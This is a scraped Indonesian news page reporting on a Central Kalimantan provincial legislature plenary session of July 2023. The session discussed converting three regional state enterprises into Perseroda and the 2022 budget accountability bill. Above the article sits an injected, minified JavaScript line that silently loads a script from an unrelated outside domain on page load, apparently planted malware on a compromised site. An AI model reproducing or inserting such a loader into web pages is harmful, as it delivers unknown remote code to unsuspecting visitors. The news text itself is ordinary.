(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Kalimantan Tengah Bahas Raperda Perubahan BUMD Menjadi Perseroda dalam Rapat Paripurna ke-6


KANALKALIMANTAN.COM,PALANGKARAYA- Dalam Rapat Paripurna ke-6 Masa Persidangan II Tahun Sidang 2023, DPRD Provinsi Kalimantan Tengah aktif membahas empat Rancangan Peraturan Daerah (Raperda) yang diajukan oleh Pemerintah Provinsi Kalteng. Rapat yang berlangsung di Ruang Rapat Paripurna DPRD Provinsi Kalteng, Kota Palangka Raya, pada Rabu, 5 Juli 2023.

ini menandai komitmen DPRD dalam peranannya sebagai lembaga legislatif yang penting. Agenda Rapat Paripurna ini dipimpin oleh Wakil Ketua DPRD Kalteng, H. Abdul Razak, yang secara intens mengawasi jalannya rapat.

Pada rapat ini, para anggota DPRD menerima penyampaian Pemandangan Umum Fraksi-Fraksi DPRD terhadap empat Raperda yang diajukan oleh Pemprov Kalteng. Raperda ini pertama kali diperkenalkan melalui Pidato Pengantar Gubernur dalam rapat sebelumnya pada tanggal 4 April 2023.

Tiga dari empat Raperda tersebut berfokus pada perubahan bentuk hukum Badan Usaha Milik Daerah (BUMD), yakni PT Jamkrida Kalteng, PT Bank Kalteng, dan Perusahaan Daerah (Perusda) Banama Tingang Makmur, menjadi Perusahaan Perseroan Daerah (Perseroda). Sementara satu Raperda lainnya membahas Pertanggungjawaban APBD Provinsi Kalteng Tahun 2022.

Fraksi-Fraksi Pendukung DPRD, termasuk Fraksi PDI Perjuangan, Fraksi Partai Golkar, Partai Demokrat, Partai Nasdem, Partai Gerindra, dan PKB, serta Fraksi Gabungan PAN, PKS, PPP, Perindo, dan Hanura (FGP4H), secara serentak menyatakan dukungannya terhadap keempat Raperda tersebut untuk diteruskan dalam pembahasan lebih lanjut.

Walaupun mendukung, Fraksi-Fraksi tersebut tetap mengajukan pertanyaan dan masukan yang akan menjadi fokus dalam diskusi dengan Pemprov Kalteng di rapat selanjutnya.

Penting untuk dicatat bahwa DPRD Kalteng memandang perubahan bentuk tiga BUMD menjadi Perseroda sebagai langkah penting yang dapat memberikan dorongan signifikan pada ekonomi dan pembangunan daerah Kalimantan Tengah.

Hal ini mencerminkan peran aktif DPRD dalam menjaga dan meningkatkan kesejahteraan masyarakat.(www.kanalkalimantan.com/hms)

Editor : rdy


Muhammad Andi

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

6 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

6 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

7 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

8 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

9 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

9 jam ago

This website uses cookies.